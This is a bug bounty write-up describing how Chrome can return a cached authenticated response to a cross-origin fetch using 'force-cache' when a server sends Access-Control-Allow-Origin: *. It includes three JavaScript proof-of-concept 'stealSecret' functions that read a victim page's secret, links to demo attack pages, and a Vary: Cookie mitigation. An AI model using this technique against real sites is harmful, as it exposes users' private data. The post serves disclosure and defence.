During one of my BugBounty session on a program from YesWeHack I came across an API with with some personal informations and the header Access-Control-Allow-Origin: *. Here is how I managed to steal the informations an find a bug in chrome.

I build a minimal version of the app with a single page allowing you to store and retreive a secret message.

Link: https://victime.docker.bi.tk

The response from the server contain the Access-Control-Allow-Origin header with the directive *. Even if we put an Origin header in the request.

The directive * for Access-Control-Allow-Origin can be used in the folowing context:

For requests without credentials, the literal value "*" can be specified, as a wildcard; the value tells browsers to allow requesting code from any origin to access the resource. Attempting to use the wildcard with credentials will result in an error.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives

That mean we should be able to access only the unauthenticaded version of the page from a different origin.

Let's build a simple html page that fetch the ressource cross origin:

     function stealSecret(){
       const url = "https://victime.docker.bi.tk/"
       fetch(url).then(x=>x.text())
         .then(html => {
           const parser = new DOMParser();
           const htmlDoc = parser.parseFromString(html, 'text/html');
           
           const secret = htmlDoc.querySelector("textarea").value
           document.getElementById("output").value = secret
         })
     }

Link : http://87.98.164.31/malicious-v1.html

When we click on the button, a request is sent and the secret displayed.
But the request is sent without cookies and the secret contains the default value.

This is not usefull.

If we want the secret we need the cookie. We can ask fetch to do an authenticated query with the option {credentials: "include"} but the Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: false from the response will prevent js to read the content.

Cross-domain with credentials :

     function stealSecret(){
       const url = "https://victime.docker.bi.tk/"
       fetch(url, {credentials: "include"}).then(x=>x.text())
         .then(html => {
           const parser = new DOMParser();
           const htmlDoc = parser.parseFromString(html, 'text/html');
           
           const secret = htmlDoc.querySelector("textarea").value
           document.getElementById("output").value = secret
         })
     }

You can test it here http://87.98.164.31/malicious-cred.html.

The solution

If we can't fetch the ressource from the web, what about the cache ?

The fetch function in js accept a cache option. This will tell the browser how to interact with it's cache. By using the 'force-cache' directive we can ask the browser to first check if the request is cached and return the cached version if it exist.

Here is where chrome is vulnerable.

If we ask chrome for a cached page with the Access-Control-Allow-Origin header set to *, then chrome will return the cached page even if the original request contains cookies.

Let's upgrade our js function :

     function stealSecret(){
       const url = "https://victime.docker.bi.tk/"
       fetch(url, {cache: 'force-cache'}).then(x=>x.text())
         .then(html => {

           const parser = new DOMParser();
           const htmlDoc = parser.parseFromString(html, 'text/html');
           
           const secret = htmlDoc.querySelector("textarea").value
           document.getElementById("output").value = secret
         })
     }

Here we can see that chrome is returning an authenticated response from the cache when an unauthenticated version is requested.

In Firefox the response is not found in the cache and a new request without cookies is made.

I've reported the bug to the chromium team but they put the status as wont-fix. You can find the report here: https://bugs.chromium.org/p/chromium/issues/detail?id=988319#c11

They classified this as a server side bug, so feel free to use it on your next bug bounties adventures.

Prevention

I you really need the Access-Control-Allow-Origin: * on your endpoints you can protect yourself by adding a Vary: Cookie header. This will force chrome to issue a new request.